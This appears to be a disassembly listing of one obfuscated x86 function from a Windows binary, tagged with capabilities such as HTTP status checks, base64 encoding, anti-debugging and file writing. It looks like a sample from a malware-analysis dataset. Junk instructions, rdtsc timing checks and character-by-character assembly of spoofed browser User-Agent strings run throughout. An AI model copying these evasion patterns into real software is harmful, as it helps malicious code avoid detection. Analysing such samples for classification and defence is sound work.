Function at 0x5fa448
Capabilities:
Check http status code
Encode data using base64
Execute anti-debugging instructions
Write file on windows

Disassembly:
mov word [ebp - 0x1bf8], ax
cmovge ecx, edi
mov ecx, 0x54
mov word [ebp - 0x1bf6], cx
mov word [ebp - 0x1bf4], dx
rcr ah, cl
test ebp, ebx
sbb dx, bp
mov eax, 0x36
jmp 0x600042
mov word [ebp - 0x1db8], dx
sal dx, cl
mov eax, 0x32
mov word [ebp - 0x1db6], ax
xchg dx, cx
mov ecx, 0x2e
rcl dh, cl
or dl, 0xa3
bts edx, esi
mov word [ebp - 0x1db4], cx
sbb dl, bl
btc dx, bp
mov edx, eax
rol eax, cl
lahf
mov word [ebp - 0x1db2], dx
btr eax, 0x88
sbb edx, 0xfd39d192
mov al, 0x28
mov eax, ecx
cdq
neg dx
mov word [ebp - 0x1db0], ax
movsx edx, dx
mov ecx, 0x31
cdq
shrd ax, sp, 0x9a
mov word [ebp - 0x1dae], cx
btr dx, 0x23
mov edx, 0x35
stc
not ch
inc cl
mov word [ebp - 0x1dac], dx
inc edx
shr eax, cl
mov eax, 0x20
mov word [ebp - 0x1daa], ax
sub edx, 0xb2bdba3c
mov ecx, 0x56
mov word [ebp - 0x1da8], cx
mov edx, 0x65
mov word [ebp - 0x1da6], dx
btr dx, di
mov eax, 0x72
rcr ecx, 0x88
sar edx, cl
xor cx, cx
mov word [ebp - 0x1da4], ax
mov ecx, 0x73
mov word [ebp - 0x1da2], cx
or eax, 0x9436b48b
mov edx, 0x69
mov word [ebp - 0x1da0], dx
cmovbe edx, ebp
mov eax, 0x6f
rcl cx, 0x1b
mov word [ebp - 0x1d9e], ax
mov ecx, 0x6e
mov word [ebp - 0x1d9c], cx
bswap edx
test dh, ah
mov edx, 0x2f
cbw
sar al, 0xbe
mov word [ebp - 0x1d9a], dx
adc al, 0xbb
mov eax, 0x31
mov word [ebp - 0x1d98], ax
test esp, esp
ror dx, 0
mov ecx, 0x30
bts ax, dx
btc ax, 0xa
mov word [ebp - 0x1d96], cx
rdtsc
mov dh, 0xf
sbb al, 0xbd
mov edx, 0x2e
rcl eax, 0xb4
mov word [ebp - 0x1d94], dx
movsx eax, bx
test esp, 0x823d988e
mov eax, ecx
clc
mov word [ebp - 0x1d92], ax
lahf
cwde
bt eax, edi
mov word [ebp - 0x1d90], cx
movzx eax, di
xor edx, edx
mov ah, 0xb7
setge ah
mov word [ebp - 0x1d8e], dx
not ax
mov eax, eax
push 0x16c
push edx
lea eax, [ebp - 0x1d8c]
jmp 0x648abf
push eax
call fcn.00601f2d
test eax, eax
jmp 0x681c95
mov dword [ebp - 0x1c], eax
jmp 0x644cad
mov word [ebp - 0x1be8], dx
sbb dx, di
sub dx, 0xc705
mov word [ebp - 0x1be6], ax
movzx ax, bl
mov word [ebp - 0x1be4], cx
btr cx, 0x17
sar dl, 0x2e
rol dh, cl
mov edx, 0x65
mov al, bl
mov word [ebp - 0x1be2], dx
test ecx, 0x7ca4aa2a
add eax, ecx
mov eax, 0x6e
mov word [ebp - 0x1be0], ax
inc ecx
mov ecx, 0x29
bt dx, ax
and dx, sp
mov word [ebp - 0x1bde], cx
mov edx, 0x20
mov word [ebp - 0x1bdc], dx
shld ax, dx, 0xb5
sbb eax, ebp
neg cl
mov eax, 0x50
rol dx, 0x39
shl ecx, 0x83
mov word [ebp - 0x1bda], ax
test si, ax
movzx edx, bp
mov ecx, 0x72
mov word [ebp - 0x1bd8], cx
setge al
mov edx, 0x65
stc
cmp esi, 0x10aa1c06
mov word [ebp - 0x1bd6], dx
shr cl, cl
sbb ch, dh
sub edx, 0xa5125ba1
mov eax, 0x73
ror cx, cl
neg ch
mov word [ebp - 0x1bd4], ax
stc
sar al, cl
bts ax, bx
mov ecx, 0x74
clc
stc
mov word [ebp - 0x1bd2], cx
mov edx, 0x6f
clc
sal ecx, 0x34
adc ecx, esi
mov word [ebp - 0x1bd0], dx
btc ax, sp
sub al, bl
mov eax, 0x2f
stc
shl ch, cl
shr edx, cl
mov word [ebp - 0x1bce], ax
mov ecx, 0x32
mov word [ebp - 0x1bcc], cx
sbb dx, 0xb937
mov edx, 0x2e
ror ah, cl
mov word [ebp - 0x1bca], dx
shrd eax, edi, 0xa6
mov eax, 0x31
sete cl
rcl ch, cl
mov word [ebp - 0x1bc8], ax
adc cx, bp
sbb cx, ax
mov ecx, edx
mov word [ebp - 0x1bc6], cx
bswap ecx
btc edx, eax
mov edx, eax
and ecx, 0xebbdbd06
ror cx, cl
mov word [ebp - 0x1bc4], dx
or cx, 0xb8b5
test edi, 0xcc2fcd23
xor eax, eax
jmp loc.0041db52
call fcn.00474d50
mov eax, dword [0x520628]
test cl, 0xb1
cmc
xor dword [ebp - 8], eax
clc
cmp ebp, ebp
xor eax, ebp
jmp 0x5b3eba
mov word [ebp - 0x1bf2], ax
mov ecx, 0x2e
cwd
or dx, sp
mov word [ebp - 0x1bf0], cx
bswap ax
shl cx, 0x8a
cmp dl, ah
mov edx, 0x30
ror cx, 7
mov word [ebp - 0x1bee], dx
mov eax, 0x3b
mov word [ebp - 0x1bec], ax
cdq
mov ecx, 0x20
xchg dx, dx
bt edx, 0x12
rol edx, 0x16
mov word [ebp - 0x1bea], cx
mov edx, 0x55
test di, 0x7913
jmp 0x5e2887
push 0x60fb78
rol ax, cl
rcl ah, cl
push 0x4740a0
setnp ah
rcl eax, cl
mov eax, dword fs:[0]
push eax
seta al
sub esp, 8
mov eax, 0x1e50
jmp 0x5fa448
push ebx
not bx
push esi
movsx ebx, bp
push edi
push eax
cwde
not si
movsx ax, bh
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
xchg ebx, eax
not bh
mov ebx, dword [ebp + 8]
mov si, 0xc14
movzx eax, bp
mov eax, dword [ebp + 0xc]
mov esi, eax
not si
mov dword [ebp - 0x1e40], eax
mov dword [ebp - 0x1e38], ecx
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x1e30], esi
not ah
mov dword [ebp - 0x1e2c], edx
setno dl
mov eax, esi
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x1e28], eax
mov ecx, dword [ebp + 0x18]
mov dword [ebp - 0x1e58], ecx
mov edx, dword [ebp + 0x1c]
cbw
movzx ax, dh
bswap eax
mov dword [ebp - 0x1e5c], edx
lahf
mov dword [esi], 0
cmovno ax, ax
push 0
mov ah, dl
xchg ah, al
cwde
mov eax, dword [0x52bfc0]
jmp 0x5799d4
push eax
call fcn.00473d40
lea esp, [esp + 0xc]
sbb dx, si
mov ecx, 0x4f
and dh, 0xa4
mov word [ebp - 0x1c20], cx
bswap dx
mov dl, 0x9b
mov edx, 0x70
lahf
mov word [ebp - 0x1c1e], dx
test si, di
shl ecx, cl
mov eax, 0x65
mov word [ebp - 0x1c1c], ax
bsr ecx, ebp
mov ecx, 0x72
mov word [ebp - 0x1c1a], cx
ror edx, cl
ror al, 0x9c
sar ah, 0xf
mov edx, 0x61
mov word [ebp - 0x1c18], dx
sub dh, 0xb0
sar ah, 0x80
mov eax, 0x2f
xchg dh, dh
rol cx, cl
sar ecx, 0x96
mov word [ebp - 0x1c16], ax
mov ecx, 0x39
mov word [ebp - 0x1c14], cx
mov edx, 0x2e
rcr eax, 0x2a
mov word [ebp - 0x1c12], dx
rdtsc
mov eax, 0x36
mov word [ebp - 0x1c10], ax
add cx, 0x9e07
cdq
sub edx, esp
mov ecx, 0x30
inc eax
rol ah, 0xb5
rdtsc
mov word [ebp - 0x1c0e], cx
movsx ecx, ax
mov edx, 0x20
bsf ecx, ebp
mov word [ebp - 0x1c0c], dx
mov eax, 0x28
neg ecx
test cx, sp
mov word [ebp - 0x1c0a], ax
mov ecx, 0x57
and ax, 0xf5bc
btr ax, 0x22
btc eax, edi
mov word [ebp - 0x1c08], cx
mov edx, 0x69
adc ecx, 0xe22c283b
or eax, ebp
adc cx, cx
mov word [ebp - 0x1c06], dx
inc al
mov eax, 0x6e
dec dx
sub ch, 0x82
xor edx, edi
mov word [ebp - 0x1c04], ax
shl ax, 0x2b
cwde
mov ecx, 0x64
cbw
rol al, cl
bsr ax, si
mov word [ebp - 0x1c02], cx
not dh
sar cl, 0x27
xadd edx, ecx
mov edx, 0x6f
or al, ah
mov word [ebp - 0x1c00], dx
mov eax, 0x77
mov word [ebp - 0x1bfe], ax
shr edx, 0xa8
sal edx, 0x15
mov ecx, 0x73
test dx, di
lahf
mov word [ebp - 0x1bfc], cx
mov edx, 0x20
movsx eax, ax
mov word [ebp - 0x1bfa], dx
mov eax, 0x4e
jmp 0x5361f7
je fcn.0066aeed
mov ecx, 0x4f
xchg dl, ah
mov word [ebp - 0x1e20], cx
cmc
cbw
mov edx, 0x70
mov word [ebp - 0x1e1e], dx
bts eax, edx
mov eax, 0x65
mov word [ebp - 0x1e1c], ax
sub eax, 0x7c8f5d21
ror dx, 0xaa
cwd
mov ecx, 0x72
mov word [ebp - 0x1e1a], cx
setne ch
mov dx, bx
mov edx, 0x61
shr al, 0x84
mov word [ebp - 0x1e18], dx
and al, 0x89
rcl ah, cl
cmova edx, ebx
mov eax, 0x2f
cdq
btr dx, cx
mov word [ebp - 0x1e16], ax
mov ecx, 0x39
bt edx, 0x9a
and eax, 0xa005fa2
sbb ax, 0x46a3
mov word [ebp - 0x1e14], cx
dec dh
xchg cl, ah
mov edx, 0x2e
xor eax, 0xb60a8bac
adc ch, ah
mov word [ebp - 0x1e12], dx
mov eax, 0x38
bswap cx
mov word [ebp - 0x1e10], ax
mov ecx, 0x30
xchg al, dl
mov word [ebp - 0x1e0e], cx
mov edx, 0x20
bts cx, ax
lahf
mov word [ebp - 0x1e0c], dx
bsr edx, edi
bsf ecx, esi
rcr cx, 0xbd
mov eax, 0x28
movzx cx, ch
bsr dx, si
cmp cx, 0x9704
mov word [ebp - 0x1e0a], ax
mov ecx, 0x4d
rcr edx, 0xa9
dec edx
bsr dx, ax
mov word [ebp - 0x1e08], cx
shl eax, cl
btr eax, 0xb
not dx
mov edx, 0x61
movsx eax, sp
mov word [ebp - 0x1e06], dx
mov eax, 0x63
sar dh, cl
rcl edx, cl
mov word [ebp - 0x1e04], ax
cdq
test edx, 0x9f2e7a16
cmp eax, 0x38b642a1
mov ecx, 0x69
ror dl, 0x8c
lahf
mov word [ebp - 0x1e02], cx
sar ecx, cl
sub ch, dl
movsx edx, ax
mov edx, 0x6e
btr ecx, esi
stc
mov cl, 0xb6
mov word [ebp - 0x1e00], dx
mov eax, 0x74
sal ch, cl
mov word [ebp - 0x1dfe], ax
mov ecx, 0x6f
or dx, 0xdfb3
sub eax, ecx
mov word [ebp - 0x1dfc], cx
mov edx, 0x73
btr cx, 0x9e
mov word [ebp - 0x1dfa], dx
test esi, 0xc139b000
cwde
movsx ecx, bp
mov eax, 0x68
sar dh, 0x13
and dl, cl
shl dh, cl
mov word [ebp - 0x1df8], ax
bts ecx, eax
mov ecx, 0x3b
sal al, cl
mov word [ebp - 0x1df6], cx
bswap dx
mov edx, 0x20
and ax, 0xd529
mov word [ebp - 0x1df4], dx
btc edx, ebx
xadd dh, al
rol dh, cl
mov eax, 0x49
cmp ax, 0x6f0a
mov word [ebp - 0x1df2], ax
rcl cx, cl
bts cx, cx
bswap eax
mov ecx, 0x6e
mov word [ebp - 0x1df0], cx
mov edx, 0x74
mov word [ebp - 0x1dee], dx
cwd
rcr ah, 0xa1
setno dl
mov eax, 0x65
mov word [ebp - 0x1dec], ax
bts edx, eax
mov ecx, 0x6c
add al, 0xb9
mov word [ebp - 0x1dea], cx
shl ecx, cl
mov edx, 0x20
bts cx, di
cmp dl, 0xbf
shrd ecx, esp, 0x8d
mov word [ebp - 0x1de8], dx
cmp di, 0x3d8b
btc edx, ebx
btr ax, bp
mov eax, 0x4d
rol ch, cl
movsx ecx, dx
cmp edx, ebx
mov word [ebp - 0x1de6], ax
rcr dl, 0x2b
cdq
mov ecx, 0x61
cmp edi, edi
bts edx, edi
mov word [ebp - 0x1de4], cx
cwd
mov edx, 0x63
bswap cx
sbb al, 0x15
add ch, ch
mov word [ebp - 0x1de2], dx
mov eax, 0x20
bt cx, 0x3d
mov word [ebp - 0x1de0], ax
adc edx, 0xa02205a7
movsx cx, dl
mov ecx, 0x4f
xor dl, 0xa8
mov word [ebp - 0x1dde], cx
test dx, dx
mov edx, 0x53
or ecx, edx
rol ch, cl
mov word [ebp - 0x1ddc], dx
mov word [ebp - 0x1dda], ax
cmovp ecx, ebx
mov ecx, 0x58
and edx, 0xfbb31cb9
mov word [ebp - 0x1dd8], cx
btr cx, bp
adc edx, 0xf91a6d88
mov edx, 0x3b
setns ch
shld ecx, eax, 0xa8
bsf ecx, ebp
mov word [ebp - 0x1dd6], dx
mov word [ebp - 0x1dd4], ax
btr ecx, esi
mov ecx, 0x55
mov word [ebp - 0x1dd2], cx
mov word [ebp - 0x1dd0], dx
movsx edx, dx
mov word [ebp - 0x1dce], ax
mov ecx, 0x65
or ah, 0
sub edx, ecx
mov ax, sp
mov word [ebp - 0x1dcc], cx
rcr ch, cl
rcl ah, 0xb8
mov edx, 0x6e
sub ecx, ebp
adc ch, 0x20
mov word [ebp - 0x1dca], dx
shr dx, 0x1c
mov eax, 0x29
rcl dx, cl
mov word [ebp - 0x1dc8], ax
mov ecx, 0x20
btr dx, ax
dec ax
mov word [ebp - 0x1dc6], cx
inc ah
or al, 0x8b
mov edx, 0x50
cmp ecx, esp
sub ecx, ebx
rcr ecx, cl
mov word [ebp - 0x1dc4], dx
mov eax, 0x72
cdq
setp ch
inc dx
mov word [ebp - 0x1dc2], ax
setg cl
inc dl
btc edx, eax
mov ecx, 0x65
ror eax, 0x15
movzx dx, ch
mov word [ebp - 0x1dc0], cx
add eax, 0x25b53211
mov cl, 0x90
mov edx, 0x73
mov word [ebp - 0x1dbe], dx
shr edx, cl
mov eax, 0x74
mov word [ebp - 0x1dbc], ax
lahf
bts eax, eax
mov ecx, 0x6f
add edx, 0x721ff402
sal eax, 0x15
mov word [ebp - 0x1dba], cx
cmc
btr cx, ax
bsf edx, ebp
mov edx, 0x2f
bsf ax, bx
jmp 0x56ba3a